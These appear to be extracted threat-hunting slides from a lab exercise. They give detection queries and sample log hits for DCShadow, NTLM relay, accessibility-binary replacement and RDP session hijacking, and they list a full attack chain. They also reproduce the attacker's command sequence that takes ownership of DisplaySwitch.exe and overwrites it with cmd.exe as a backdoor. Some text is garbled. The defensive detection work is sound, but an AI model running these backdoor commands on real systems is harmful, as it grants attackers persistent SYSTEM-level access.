\[ \text{event\_id:4742 AND event\_data.ServicePrincipalNames:(*E3514235* "*GC/*/"))} \]

<table>
<thead>
<tr>
<th>computer_name</th>
<th>event_id</th>
<th>event_data.SubjectUserName</th>
<th>event_data.LogonType</th>
<th>event_data.SrcIp</th>
<th>hunts</th>
</tr>
</thead>
<tbody>
<tr>
<td>w2012r2-DC01.testdomain.com</td>
<td>4,742</td>
<td>vulnscan</td>
<td>3</td>
<td>192.168.220.100</td>
<td>possible_dcshadow_attack_suspicious_spn_for_non_dc_computer_account</td>
</tr>
</tbody>
</table>

Suspicious SPNs. Only real DCs should have it.
Hunting. DCSHadow. Hands-on lab attack scenario 1

Saved search “Possible DCSHadow attack - suspicious DC object creation”:

```
event_id:4662 AND event_data.ObjectServer:DS AND -event_data.SubjectUserName:(*DC0*) AND event_data.Properties:"%7680 \{bf967a92-0de6-11d0-a285-00aa003049e2\}" AND event_data.AdditionalInfo:"CN=Servers,CN=Default-First-Site-Name,CN=Sites,CN=Configuration*"
```

| t event_data.AccessList | | | | %7680 |
| t event_data.AccessMask | | | 0x1 |
| t event_data.AdditionalInfo | | | CN=VICTIM,CN=Servers,CN=Default-First-Site-Name,CN=Sites,CN=Configuration,DC=testdomain,DC=com |
| t event_data.AdditionalInfo2 | | | %\{ac015434-2f6d-436f-b281-bdce339a4cb\} |
| t event_data.HandleId | | | 0x0 |
| t event_data.LogonType | | | 3 |
| t event_data.ObjectName | | | %\{0d83ce1e-80cc-4d13-a1ba-20b2503d7b6f\} |
| t event_data.ObjectServer | | | DS |
| t event_data.ObjectType | | | %\{f780acc0-56f0-11d1-a9c6-0000f80367c1\} |
| t event_data.OperationType | | | Object Access |
| t event_data.Properties | | | %7680 |
| t event_data.SourceIp | | | 192.168.220.100 |
| t event_data.SubjectDomainName | | | TESTDOMAIN |
| t event_data.SubjectLogonId | | | 0x2dce77 |
| t event_data.SubjectUserName | | | vulnsan |
| t event_data.SubjectUserSid | | | S-1-5-21-3615843234-1321834752-1894537791-1128 |
| # event_id | | | 4,662 |

Enrichment from the corresponding successful network logon event, using Memcached filter
Hands-on lab attack scenario 2

- Phishing email with bad PDF as an attachment
- Stealing NTLM hashes with a PDF from attachment
- NTLM Relay attack
- Remote code execution via service
- Accessibility Features Backdoor
- Logon (RDP) session hijacking

https://yadi.sk/d/qB1PNBj_3ViWHe
Hunting. NTLM Relay
Hands-on lab attack scenario 2

Saved search “Possible NTLM relay attack”:

<table>
<thead>
<tr>
<th>computer_name</th>
<th>event_id</th>
<th>event_data.LogonType</th>
<th>event_data.TargetUserName</th>
<th>event_data.WorkstationName</th>
<th>event_data.SourceIp</th>
<th>event_data.DhcpSourceIp</th>
<th>hunts</th>
</tr>
</thead>
<tbody>
<tr>
<td>W2012r2-DC01.testdomain.com</td>
<td>4024</td>
<td>3</td>
<td>user</td>
<td>VICTIM</td>
<td>192.168.220.66</td>
<td>192.168.220.100</td>
<td>possible_ntlm_relay_attack</td>
</tr>
</tbody>
</table>

Sourcelp (from 4624 event) is differ from DhcpSourceIp (enrichment from DHCP log)
Hunting. Swapping the Accessibility Features binaries
Hands-on lab attack scenario 2

C:\Windows\system32>taskkill /IM displayswitch.exe /F
taskkill /IM displayswitch.exe /F
SUCCESS: The process "DisplaySwitch.exe" with FID 3800 has been terminated.

C:\Windows\system32>takedown /F displayswitch.exe
takedown /F displayswitch.exe
SUCCESS: The file (or folder): "C:\Windows\system32\displayswitch.exe" now owned by user "TESTDOMAIN\W2012R2-DC01s".

C:\Windows\system32>ICACLS C:\windows\system32\DisplaySwitch.exe /GRANT *S-1-1-0:F
ICACLS C:\windows\system32\DisplaySwitch.exe /GRANT *S-1-1-0:F
processed file: C:\windows\system32\DisplaySwitch.exe
Successfully processed 1 files; Failed processing 0 files

C:\Windows\system32>copy cmd.exe displayswitch.exe
copy cmd.exe displayswitch.exe
Overwrite displayswitch.exe? (Yes/No/All): Yes
Yes
1 file(s) copied.

Saved search “Accessibility features binaries replacement”:
source_name:*Sysmon AND event_id:11 AND event_data.TargetFilename:
"*\sethc.exe" "*\utilman.exe" "*\osk.exe" "*\narrator.exe" "*\magnify.exe" "*\displayswitch.exe"

<table>
<thead>
<tr>
<th>computer_name</th>
<th>task</th>
<th>event_data.Image</th>
<th>event_data.TargetFilename</th>
<th>event_data.CreationUtcTime</th>
<th>hunts</th>
</tr>
</thead>
<tbody>
<tr>
<td>W2012r2-DC01.testdomain.com</td>
<td>File created (rule: FileCreate)</td>
<td>C:\Windows\system32 \cmd.exe</td>
<td>C:\Windows\System32\DisplaySwitch.exe</td>
<td>2013-08-22 10:36:30.025</td>
<td>accessibility_features_binary_replacement</td>
</tr>
</tbody>
</table>
Hunting. Swapping the Accessibility Features binaries
Hands-on lab attack scenario 2

Saved search “Possible logon session hijacking”:
`event_data.Image:"*\tscon.exe" AND
(event_data.LogonId:0x3e7 OR
event_data.SubjectLogonId:0x3e7 OR
event_data.User:"NT AUTHORITY\\SYSTEM")`